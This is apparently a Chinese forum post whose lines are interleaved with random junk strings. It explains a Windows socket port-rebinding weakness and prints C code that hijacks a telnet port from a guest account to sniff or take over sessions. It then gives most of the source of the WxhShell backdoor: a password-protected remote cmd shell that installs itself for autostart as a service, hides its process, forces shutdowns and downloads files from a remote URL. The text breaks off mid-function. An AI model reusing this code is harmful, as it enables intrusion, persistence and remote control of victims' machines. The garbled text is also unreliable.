在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xl9(ze s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fB7ljg >j:|3atb saddr.sin_family = AF_INET;
F^miq^K=
DyIV/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-!~vA+jw1 OW#_ty_ul bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
b|6 !EGh ]zcV]Qj$~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C#h76fpH i pwW%"6 这意味着什么?意味着可以进行如下的攻击:
Pa[?L:E p+)C$2YK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#@E(<Pu4` sS|<&3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>Fp&8p`am O{nC^`X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g}YToOs B*2{M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>]-<uT_ p7$3`t6u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)tvc/)&A} P8IRH#ED 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5Xj|:qz<( !?6.!2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Vf$1Sj w oc:x&`j #include
$ hoYkA #include
ET3,9+Gj #include
=EWD
|< #include
0R*}QXph DWORD WINAPI ClientThread(LPVOID lpParam);
NN11}E6 int main()
GZS{&w! {
ey*,StT5a WORD wVersionRequested;
77tZp @>hn DWORD ret;
;M-,HK4= WSADATA wsaData;
j
C9<hLt BOOL val;
tI'e ctn SOCKADDR_IN saddr;
\QiqcD9Y SOCKADDR_IN scaddr;
/3s@6Ex}E int err;
pJn>oGeJ& SOCKET s;
@BXaA0F4 SOCKET sc;
]o `4Z" int caddsize;
?`"<DH~:0B HANDLE mt;
N" ; ^S DWORD tid;
PK8V2Ttv wVersionRequested = MAKEWORD( 2, 2 );
Rd0?zEKV err = WSAStartup( wVersionRequested, &wsaData );
B]i+,u if ( err != 0 ) {
"(N-h\7Ex9 printf("error!WSAStartup failed!\n");
"~Us#4> return -1;
0OEtU5lf`y }
i6F P[6H1 saddr.sin_family = AF_INET;
9c%(]Rn: f!(cD80 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?o@E1:aA |\/~
8qP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E tdd\^ saddr.sin_port = htons(23);
dbd"pR 8v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
S`4e@Z$ {
nE4l0[_ printf("error!socket failed!\n");
vRxL&8`& return -1;
Re{ej }
^,>}%1\ val = TRUE;
(KZUvsS k //SO_REUSEADDR选项就是可以实现端口重绑定的
+Z]y #= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uQ-WTz|* {
,~iFEaV+ printf("error!setsockopt failed!\n");
N!Rt;Xm2@ return -1;
wAPO{3 }
X+\0%| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
IK85D>00T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rtoSCj: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
N0=b[%g;n ?fm2qrV@fp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\#HL`R" {
;B(;2.<"J ret=GetLastError();
E#m76]vkCU printf("error!bind failed!\n");
H_v/}DEG return -1;
gr[D!D> }
gZ=)qT]Pj listen(s,2);
;wfH^2HxE) while(1)
:LG}yq^ {
Af$0 o=". caddsize = sizeof(scaddr);
?! !;XW //接受连接请求
Ogn,1nm% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
oK%K+h if(sc!=INVALID_SOCKET)
#xDDh` {
3KbUHSx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~rp.jd 0l if(mt==NULL)
'w: tq {
bXk:~LE printf("Thread Creat Failed!\n");
x`wZtv\ break;
zp}yiE!bl }
4{c`g$j> }
A5`#Ot*3 CloseHandle(mt);
l[:^TfB }
k:@a[qnY closesocket(s);
1i ?gvzrq WSACleanup();
j@s=ER return 0;
N.kuE=X }
"bLP3 DWORD WINAPI ClientThread(LPVOID lpParam)
uHTKo(NG {
`Nc`xO? SOCKET ss = (SOCKET)lpParam;
@?(nwj~ s` SOCKET sc;
+
?[ ACZF unsigned char buf[4096];
T
"ZQPLg SOCKADDR_IN saddr;
@DRfNJ} long num;
)WzGy~p8K DWORD val;
3XM Bu* DWORD ret;
PL9zNCr-[ //如果是隐藏端口应用的话,可以在此处加一些判断
`@W3sW/^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}S1Z>ZA5 saddr.sin_family = AF_INET;
O(b"F?
w saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Tq_1wX'\ saddr.sin_port = htons(23);
H!Fr("6} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$@XPL~4 {
3^uL`ETm@ printf("error!socket failed!\n");
;2+FgOj return -1;
RI7qsm6RN }
:5q^\xmmq val = 100;
}?\#_BCjx( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sASAsGk< {
e/g<<f- ret = GetLastError();
Nn~tb2\vk return -1;
T<w*dX7F0K }
'` BjRg57] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:..E:HdYO {
ljaAB+
ret = GetLastError();
UtHmM,*I return -1;
hnM9-hqm }
!xJLeQFJI] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!;BZ# tF& {
|:J*>"sq printf("error!socket connect failed!\n");
<lsi.x\y< closesocket(sc);
Jv '3]( closesocket(ss);
Fj4l %= return -1;
a,F8+
Pb> }
81%qM7v9H while(1)
w>1l@%Uo {
+?J_6Mo@X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
, 4h!"c //如果是嗅探内容的话,可以再此处进行内容分析和记录
#L).BM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
js%4;
num = recv(ss,buf,4096,0);
FcJ.)U if(num>0)
,Yiq$Z{qQ send(sc,buf,num,0);
U>3%!83kF else if(num==0)
9g<_JcN break;
,_e/a num = recv(sc,buf,4096,0);
S|z( if(num>0)
=X%R*~!#Of send(ss,buf,num,0);
9/8@ else if(num==0)
[5}cU{M break;
NoSqzJyh }
8xeun~e"vS closesocket(ss);
*R9mgv[ closesocket(sc);
X7imUy'. return 0 ;
.lNnY8< }
umHs " d <7sF<KD |{}d5Z"5;} ==========================================================
Y`[HjS, l72ie 下边附上一个代码,,WXhSHELL
hCOy\[2$ 5Fl ==========================================================
H8=vQy [W8iM7D #include "stdafx.h"
(pRy1DH~ Rzn 0-cG #include <stdio.h>
8gu7f;H/k #include <string.h>
t"!8 #include <windows.h>
3qV>TE]6, #include <winsock2.h>
[4+a 1/^ #include <winsvc.h>
4p/V6kr&r #include <urlmon.h>
@zq\z$ tZc.%TU #pragma comment (lib, "Ws2_32.lib")
=":V
WHf #pragma comment (lib, "urlmon.lib")
=."WvBKg z?b(|f\! #define MAX_USER 100 // 最大客户端连接数
ADwwiq#E #define BUF_SOCK 200 // sock buffer
;]O 7^s#v #define KEY_BUFF 255 // 输入 buffer
Rp4BU"&sU f@x( ,p #define REBOOT 0 // 重启
Br.$L #define SHUTDOWN 1 // 关机
(fLbg, >>
8KL`l #define DEF_PORT 5000 // 监听端口
.ON$vn7 *|.yX%"k #define REG_LEN 16 // 注册表键长度
Ow&'sR'CX #define SVC_LEN 80 // NT服务名长度
H?zCIue3 V=8{CmqT // 从dll定义API
KH 6n3 \= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
BR0p0% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%]= 'Uv^x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2Y g[8Tm# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bQ:3G; w1!\L_::Y // wxhshell配置信息
q5K/+N^2? struct WSCFG {
*z;N int ws_port; // 监听端口
(w7cdqe char ws_passstr[REG_LEN]; // 口令
.tHv4.ob int ws_autoins; // 安装标记, 1=yes 0=no
q}76aa0e char ws_regname[REG_LEN]; // 注册表键名
*7D$;?" char ws_svcname[REG_LEN]; // 服务名
uvK%d\d char ws_svcdisp[SVC_LEN]; // 服务显示名
"
:nVigw& char ws_svcdesc[SVC_LEN]; // 服务描述信息
;r@R (Squ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
R;,u >P " int ws_downexe; // 下载执行标记, 1=yes 0=no
\5L 4* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%;\2QI`R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`X]2iz 1wH/ #K };
~ @"Qm;}
" gCBZA;/ // default Wxhshell configuration
p=P0$P+KM struct WSCFG wscfg={DEF_PORT,
iRr&'k
"xuhuanlingzhe",
M6 >\R$ 1,
0T{Y_IG "Wxhshell",
9[]"%6 "Wxhshell",
pa> 2JF* "WxhShell Service",
1_E3DXe "Wrsky Windows CmdShell Service",
bU +eJU_% "Please Input Your Password: ",
J;]@?( 1,
NB6h/0*v "
http://www.wrsky.com/wxhshell.exe",
:Tl6:=B "Wxhshell.exe"
h,jAtL! };
qFsg&< o4
OEA)k)= // 消息定义模块
Y
Z2VP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
j!8+|eAkk char *msg_ws_prompt="\n\r? for help\n\r#>";
{,mRMDEy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
v}*u[GWl] char *msg_ws_ext="\n\rExit.";
N)I
T? char *msg_ws_end="\n\rQuit.";
)cmLo0`$ char *msg_ws_boot="\n\rReboot...";
J,M5<s[Xqt char *msg_ws_poff="\n\rShutdown...";
Q1&dB{L char *msg_ws_down="\n\rSave to ";
aiX;D/t? r`"#c7)
char *msg_ws_err="\n\rErr!";
/WgW e char *msg_ws_ok="\n\rOK!";
e ~,'|~
C5 eJ\j{- char ExeFile[MAX_PATH];
&^D@(m7>{K int nUser = 0;
~E|V{z% HANDLE handles[MAX_USER];
G78j$
^/0 int OsIsNt;
EYD{8Fw- fvfVBk# SERVICE_STATUS serviceStatus;
Z1lF[d,f; SERVICE_STATUS_HANDLE hServiceStatusHandle;
&``oZvuB V4i%|vV // 函数声明
N S}`(N int Install(void);
]SR`96vG int Uninstall(void);
"^e?E:( 3 int DownloadFile(char *sURL, SOCKET wsh);
h}<ZZ int Boot(int flag);
5Cyjq0+ void HideProc(void);
t4c#' y int GetOsVer(void);
h9smviU7u int Wxhshell(SOCKET wsl);
J#Ehx| void TalkWithClient(void *cs);
.E8p-R5)V> int CmdShell(SOCKET sock);
EuA<{%i int StartFromService(void);
Qi]Z)v{^ int StartWxhshell(LPSTR lpCmdLine);
cTx/Y&\9 6
&Aa b56 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3kQ8*S VOID WINAPI NTServiceHandler( DWORD fdwControl );
X35U!1Y\ *K^O oS // 数据结构和表定义
f0bV]<_9 SERVICE_TABLE_ENTRY DispatchTable[] =
]@}BdMlHp {
)P+GklI{4 {wscfg.ws_svcname, NTServiceMain},
3NZFW{u {NULL, NULL}
1b%7FrPkd };
R'HA>?D =9@yJ9c- // 自我安装
'*Mb
.s" int Install(void)
mnaD KeA {
O}!@28|3" char svExeFile[MAX_PATH];
O9&:(2'f HKEY key;
Z_WTMs:x! strcpy(svExeFile,ExeFile);
G")EE#W$} y%l#lz=6 // 如果是win9x系统,修改注册表设为自启动
ho$%7mc if(!OsIsNt) {
GQBN-Qv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jz:c)C&/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ryLNMh RegCloseKey(key);
g'7hc~= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{
4{{;
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O!Cu.9} RegCloseKey(key);
(,y/nc=GN return 0;
|CqJ2 }
C2i..iD }
~y^lNgujO }
s""8V_,; else {
R*C+Yk)Tkt Dx)XC?'xO // 如果是NT以上系统,安装为系统服务
/ {~h?P} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
lc#zS_ if (schSCManager!=0)
g}KZL-p4\m {
*uM*)6O 3 SC_HANDLE schService = CreateService
bu9&sQ; (
s4k%ty} schSCManager,
fG5} '8 wscfg.ws_svcname,
ebK
wCZwK* wscfg.ws_svcdisp,
agD.J)v\ SERVICE_ALL_ACCESS,
?tQv|x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
rL"k-5>fd SERVICE_AUTO_START,
=)5a=^
6 SERVICE_ERROR_NORMAL,
@23x;x svExeFile,
=6YO!B>7 NULL,
?M(Wx NULL,
,^C;1ph NULL,
N)Kr4GC NULL,
@ xr NULL
4 Z)]Cq*3 );
f`rz)C03 if (schService!=0)
U#
B {
X+@,vCC CloseServiceHandle(schService);
^`?>
Huu<w CloseServiceHandle(schSCManager);
HE'8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
y@JYkp>I strcat(svExeFile,wscfg.ws_svcname);
]zY'w,?D\F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>L4$DKO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/MtacR RegCloseKey(key);
7?] p\` return 0;
ob
#XKL }
tpK4 gjf }
#ySx$WT; CloseServiceHandle(schSCManager);
!,"G/}'^; }
axOy~%%c }
ir#^5e@ 0VPa;{i/ return 1;
x0GZ2*vfsb }
bf(&N-"A tYa8I/HpT // 自我卸载
Ts6X:D4, int Uninstall(void)
V1;-5L75 {
AFED YRX HKEY key;
RfRaWbn T,>e\ if(!OsIsNt) {
4*W7{MPY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$@wkQ% RegDeleteValue(key,wscfg.ws_regname);
fh<G&E8
p RegCloseKey(key);
bnQO}G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`I$A;OPK7 RegDeleteValue(key,wscfg.ws_regname);
=1capix 1r RegCloseKey(key);
!o!04_ return 0;
gs>cx]> }
~!kbB4`WK }
;v\n[ }
N/VIP0Kb else {
-Ma"V tEs$+b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V.1sZYA9 if (schSCManager!=0)
FU3B;Fn^Z( {
")OLmkC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$ 1ZY
Vw if (schService!=0)
]"6<"1) {
gId+hxFa:r if(DeleteService(schService)!=0) {
cpV i9] CloseServiceHandle(schService);
}JsdgO&z CloseServiceHandle(schSCManager);
lR!$+atW return 0;
*Rd&4XG }
,L G&sa" CloseServiceHandle(schService);
cj
*4XYu }
,YTIYG]( CloseServiceHandle(schSCManager);
p2K9R4 }
gKCIfxM }
'CX
KphlWs ewg WzB9c return 1;
`fyAV@X }
Y)`+u#`
R f14c}YY // 从指定url下载文件
}^q#0`e(y int DownloadFile(char *sURL, SOCKET wsh)
$Vzfhj-if {
|z%,W/Ef HRESULT hr;
_JH6bvbQ char seps[]= "/";
cw\a,>]H char *token;
x7?{*w&r char *file;
rGWTpN char myURL[MAX_PATH];
Xk$lQMwZ char myFILE[MAX_PATH];
k|5nu-B0v :*1w;>o)n strcpy(myURL,sURL);
R7i*f/m token=strtok(myURL,seps);
i_"I"5pBF while(token!=NULL)
xjN~Y D: {
Tx(R3B+u7 file=token;
f7'%AuSQ( token=strtok(NULL,seps);
guvQISQlY }
d}Om?kn b}:Z(L,\ GetCurrentDirectory(MAX_PATH,myFILE);
(L1`]cp strcat(myFILE, "\\");
W#!\.m`5 strcat(myFILE, file);
(Wn'.|^% send(wsh,myFILE,strlen(myFILE),0);
H =jnCGk send(wsh,"...",3,0);
]!N5jbA@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OBZj-`fq J if(hr==S_OK)
X#y l8k_ return 0;
@!$NUY8,A# else
%#,BvQz~ return 1;
&%lhov 0CROq} }
sq_:U_tJ pP @#|T // 系统电源模块
d\v _!7 int Boot(int flag)
r!S iR( {
5h1j.t! HANDLE hToken;
w9%gaK; TOKEN_PRIVILEGES tkp;
WxFjpJt
'SmdU1]4BD if(OsIsNt) {
5
Jhl4p}w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/Q!F/HY3ZS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N+\*:$>zt6 tkp.PrivilegeCount = 1;
abND#t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[H6>] & AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S,H{\c if(flag==REBOOT) {
/2:r}O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MD7[}cB return 0;
1 wG1\9S }
llzl-2`/ else {
#lO;G
k{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?P5D!b:( return 0;
"hfwj`U }
I9E@2[=! }
RA6D dqT~ else {
C\{4<:<_& if(flag==REBOOT) {
!cZsIcIe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AOe~VW return 0;
fAs:[ }
^{w&&+#,q else {
bbJa,}R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
( ;"ICk& return 0;
",}VB8K }
)nY/ RO }
/dfZ>k8 }DSz_^ return 1;
6voK{C4J }
o$-Phl UZ1lI> // win9x进程隐藏模块
^.(]i\V_ void HideProc(void)
"a: ; {
$?\],T J0#% *B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Bg`b*(Q if ( hKernel != NULL )
78%2#;;G {
8<^,<? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r
(uM$R$o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Pc3u`Q L? FreeLibrary(hKernel);
2C-u2;X2 }
[D t`@Dm ctZW7 return;
hCmOSDym }
z'fS%uI d|TIrlA // 获取操作系统版本
UW+I 8\^ int GetOsVer(void)
8X%;29tow {
C?O{l%0 OSVERSIONINFO winfo;
E8xXr>j># winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U0rz 4fxc GetVersionEx(&winfo);
&^<94l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
I$Z"o9" return 1;
+|.#<]GA else
{b?)|@)is return 0;
/EC m }
-l\@50,D zme:U![ // 客户端句柄模块
0h7\zoZ5 int Wxhshell(SOCKET wsl)
1)r1/0 {
,y0kzwPR1 SOCKET wsh;
Cxh9rUe. struct sockaddr_in client;
V><P` DWORD myID;
y?rsfIth` s#Le`pGoW while(nUser<MAX_USER)
Ev()2 80 {
0`x<sjG\q int nSize=sizeof(client);
ecHy. 7H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?eu=0|d if(wsh==INVALID_SOCKET) return 1;
3] !(^N>V r[gV`khka handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xWD wg@ P if(handles[nUser]==0)
?*T`a oB closesocket(wsh);
+z4NxR
else
EU+sTe > nUser++;
iz'8P-]K> }
dI>oHMC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k@Hu0x &8;mcM//4 return 0;
#C+0m` }
Rl,B !SF xpV8_Gz; // 关闭 socket
'g^]ZTxb void CloseIt(SOCKET wsh)
+@!9&5SA {
/
g&mDYV| closesocket(wsh);
JK1b68n nUser--;
I[&!\Me[+w ExitThread(0);
t*DM^.@ }
Fc=8Qt^ ht1
jrCe // 客户端请求句柄
U'\\(m| void TalkWithClient(void *cs)
=3}+f-6"' {
Dk4Wj"LS d`:0kOF+ SOCKET wsh=(SOCKET)cs;
04(h!@!g: char pwd[SVC_LEN];
#
mzJ^V- char cmd[KEY_BUFF];
_|*j8v3 char chr[1];
rOcfPLJi0 int i,j;
p*^O8o 9`b*Y*d while (nUser < MAX_USER) {
tp1{)|pwY6 P$!Ht if(wscfg.ws_passstr) {
cJqPcCq(wn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@p!["v& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}x%"Oq|2]x //ZeroMemory(pwd,KEY_BUFF);
5[GX i=0;
^wX_@?aKtt while(i<SVC_LEN) {
r}vrE
^Q o?b"B+# // 设置超时
3{:d$- y fd_set FdRead;
M~@\x]p > struct timeval TimeOut;
ak NJL\b FD_ZERO(&FdRead);
K,So#Ui FD_SET(wsh,&FdRead);
@ O%m, TimeOut.tv_sec=8;
<cl$?].RE! TimeOut.tv_usec=0;
xUG|@xIwc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
= U^B,q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
LIR2B"3F Pg`^EJ+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
EqOB
0\ pwd
=chr[0]; [*1c.&%(
if(chr[0]==0xd || chr[0]==0xa) { o2jnmv~
pwd=0; K46mE
break; QJv,@@mu
} B a Xzz
i++; HVC\(h,)i
} D0(gEb
ncWASw`
// 如果是非法用户,关闭 socket [%b<%m}L-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 87*R#((
} s&c^Wr
|C5i3?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !x,3k\M
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AKS(WNGEp
-5E<BmM
while(1) { %`` FIv15w
`E}2|9
ZeroMemory(cmd,KEY_BUFF); 8x+K4B"oe
>Vn!k N6\
// 自动支持客户端 telnet标准 H#1/H@I#
j=0; C#gQJ=!B
while(j<KEY_BUFF) { ~>C!l k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EmLPq!C
cmd[j]=chr[0]; yqoi2J:
if(chr[0]==0xa || chr[0]==0xd) { ~ 9'64
cmd[j]=0; UH[ YH;3O
break; <q_H 3|
} (=p}b:Z
j++; *yt/
Dj
} `RjcJ?r
H-I*;
// 下载文件 Ue8_Q8q5
if(strstr(cmd,"http://")) { ; I=z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E
fqa*,k
if(DownloadFile(cmd,wsh)) c>]_,Br~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZkqC1u3
else ka]n+"~==\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y{kXd1,
} dso\+s
else { zO!`sPP
A]R"C:o
switch(cmd[0]) { BL]^+KnP
S?D2`b
// 帮助 |Q7Ch]G
case '?': { (s}9N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *A_
break; A@`C<O ^
} @GGyiK@
// 安装 d*H-l3N
case 'i': { 8o~\L=
l
if(Install()) _msDf2e9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !4
6^}3
else b#$:XS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]bRu8kn
break; LxMOs Nv
} Q y15TJ
// 卸载 =lVfrna
case 'r': { FxD" z3D
if(Uninstall()) n)pBK>+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZ
OUp8QQ
else pKp#4Js
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1AhL-Lj
break; J@1 (2%)|Z
} 4,)=r3;&!
// 显示 wxhshell 所在路径 y 5=J6a2.
case 'p': { !rrjA$P<v
char svExeFile[MAX_PATH]; u} KiSZxt
strcpy(svExeFile,"\n\r"); !WDdq_n*v
strcat(svExeFile,ExeFile); %d*}:295
send(wsh,svExeFile,strlen(svExeFile),0); t7lRMCN
break; ,ll!19y
} fV[xv4D.
// 重启 ` 3<#DZ;!
case 'b': { &9^c-;Vs
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GZO,]%z
if(Boot(REBOOT))
f0:)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZtIK"o-|!
else { L@v0C)
closesocket(wsh); {x-g?HB
ExitThread(0); k
9s3@S
} Xst&QKU
break; 4CNK ]2
} i3f/{D/
// 关机 6g$+ ))g
case 'd': { ,m0=zH4+:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {!x-kF_
if(Boot(SHUTDOWN)) lJq
%me;4m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(wik#S
else { Av/|={i
closesocket(wsh); d'DS7F(c{
ExitThread(0); I|BLAm6j
} 78 3a Z8
break; ,/Xxj\i
} CuDU~)`
// 获取shell SR8[
7MU
case 's': { 1OJ:Vy}n
CmdShell(wsh); {_ Wtk@
closesocket(wsh); v3`J~,V<
ExitThread(0); "zm.jNn
break; A(<-
U|
} >a^H7kp
// 退出 bp5hS/A^1w
case 'x': { mA{gj[@:x
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); na%9E8;:&v
CloseIt(wsh); pW!]
break; ' Bdvqq
} zYH6+!VBH#
// 离开 `SOaQ|H
case 'q': { p61"a,Xc
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x~KS;hA
closesocket(wsh); <;W4Th<4
WSACleanup(); (A"oMnjWd
exit(1); GY0<\-
break; r?H {Y3,
} 23+>K
} )v'3pTs2
} 48w3gye
m@"!=CTKd
// 提示信息 JB**z00;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'O2{0
} #Etz}:%W
} c[ =9Z;|
!07$aQYcd
return; e3',? 5j
} "BEU%,w
;Q-sie(#
// shell模块句柄 d6~wJ MFl
int CmdShell(SOCKET sock) H2|w
{ 69rVW~Z
STARTUPINFO si; $8X?|fV)
ZeroMemory(&si,sizeof(si)); oSE'-8(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @p}H@#/u\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 92eS*x2@
PROCESS_INFORMATION ProcessInfo; *FOTq'%i
char cmdline[]="cmd"; 4oCnF+(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x4fLe5xv
return 0; |1rBK.8
} ca$D|3
R?^FO:nM%!
// 自身启动模式 uy 7)9w
int StartFromService(void) iSHNt0Nl
{ 2{ }5WH
typedef struct :Im_=S[0
{ Qb9) 1
DWORD ExitStatus; vzs6YsA
DWORD PebBaseAddress; )W uuU [(
DWORD AffinityMask; <g,xc)[
DWORD BasePriority; /V:%}Z
